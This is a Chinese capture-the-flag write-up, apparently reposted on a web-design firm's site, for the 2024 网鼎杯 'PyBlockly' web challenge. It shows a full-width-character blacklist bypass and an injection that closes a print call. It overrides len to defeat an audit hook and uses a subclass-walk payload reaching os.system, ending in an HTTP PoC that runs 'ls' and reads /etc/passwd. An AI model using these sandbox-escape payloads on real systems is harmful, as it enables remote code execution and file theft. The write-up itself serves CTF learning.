尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

2024-网鼎杯web-PyBlockly

2024-网鼎杯web-PyBlockly
📅 发布时间:2026/6/17 20:36:42

PyBlockly

image-20251007102928142

image-20251010173551088

分析源代码,逐步确定,asd这里就是关键点所在,

但是这里有check_for_blacklisted_symbols对

[!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~]

这些符号进行过滤

但是asd有经过unidecode.unidecode该函数,所以就可以通过该函数用全角字符绕过黑名单,而后转化为正常的半角字符去执行

半角转全角脚本

def to_fullwidth(text):result = ""for char in text:code = ord(char)if code == 0x20:  # 空格特殊处理code = 0x3000elif 0x21 <= code <= 0x7E:  # ASCII 范围内的可见字符code += 0xFEE0result += chr(code)return result
print(to_fullwidth(""))

执行这段危险代码的地方在

def do(source_code):hook_code = '''
def my_audit_hook(event_name, arg):blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]if len(event_name) > 4:raise RuntimeError("Too Long!")for bad in blacklist:if bad in event_name:raise RuntimeError("No!")__import__('sys').addaudithook(my_audit_hook)'''print(source_code)#⬅️在这里code = hook_code + source_codetree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST)try:if verify_secure(tree):  with open("run.py", 'w') as f:f.write(code)        result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")os.remove('run.py')return resultelse:return "Execution aborted due to security concerns."except:os.remove('run.py')return "Timeout!"

asd换成')去闭合前面的(然后注释掉后面的)

print(asd)

') print(open("/etc/passwd","r").read())# 去脚本转化为全角字符绕过黑名单

') print(open("/etc/passwd","r").read())#

而后注意前面的闭合之后用;或\n去避免前面的print对后面我们的代码进行影响,不过;好像不好用

image-20251010174155555

而后绕过长度限制,将len函数修改,将返回值固定为3

注意空格

')\n__builtins__.len = lambda x:3\nprint(len("zxczxc")) \n#

而后用ssti的payload拼接使用

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")

poc

POST http://777.777.777.777:777/blockly_json HTTP/1.1
Host: 777.777.777.777:777
Content-Length: 644
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
Accept: */*
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Origin: http://777.777.777.777:777
Referer: http://777.777.777.777:777/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive{"blocks":{"blocks":[{"type":"print","id":"Tl6==$[AUOS!E|/:nssi","x":95,"y":151,"inputs":{"TEXT":{"block":{"type":"text","id":"R7x`UUTI=prR8.5+0ppR","fields":
{"TEXT":"')\n__builtins__.len = lambda x:3\n[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls") \n#"}
}}}}]}}

大佬wp:https://xz.aliyun.com/news/15665

相关新闻

  • 分享一个超级耐玩的游戏 转载 植物大战僵尸融合版最新版(v3.0.1)支持安卓版+PC电脑版
  • Qoder 负责人揭秘:Qoder 产品背后的思考与未来发展
  • CS:APP学习笔记之程序的机器级表示(三) - Invinc

最新新闻

  • 终极指南:如何在Mac上轻松运行Windows软件和游戏
  • SAM 2 微调实战:自定义数据集下的掩码分割落地指南
  • 打破门店限制!2026济南黄金回收行业深度解析,正规平台如何选 - 奢侈品回收评测
  • 爱回收买二手苹果靠谱吗?拆完流程我有了答案 - 新闻快传
  • 2026沈阳奢侈品回收实测!名包出手选这家,省心靠谱不被坑 - 奢侈品回收评测
  • 安徽初三中考没考上高中怎么办?合肥这所优秀中专值得特别关注。 - 我叫小周

日新闻

  • 2026年不锈钢卷板厂家推荐排行榜:冷轧热轧/304/201不锈钢卷板,高颜值耐腐蚀源头厂家实力精选 - 企业推荐官【官方】
  • FLUX.1-dev FP8模型实战指南:24GB以下显卡高效部署方案
  • 2026佛山长途搬家价目表:跨省跨市搬家费用完整计算指南 - 从来都是英雄出少年

周新闻

  • 3步解锁iOS设备:applera1n激活锁绕过完全指南
  • 39 2026 人工智能证书终极盘点,普通人选 AI 证书可以从这些方向入手
  • Redis 暴露公网有多危险?从端口检查到补救步骤

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号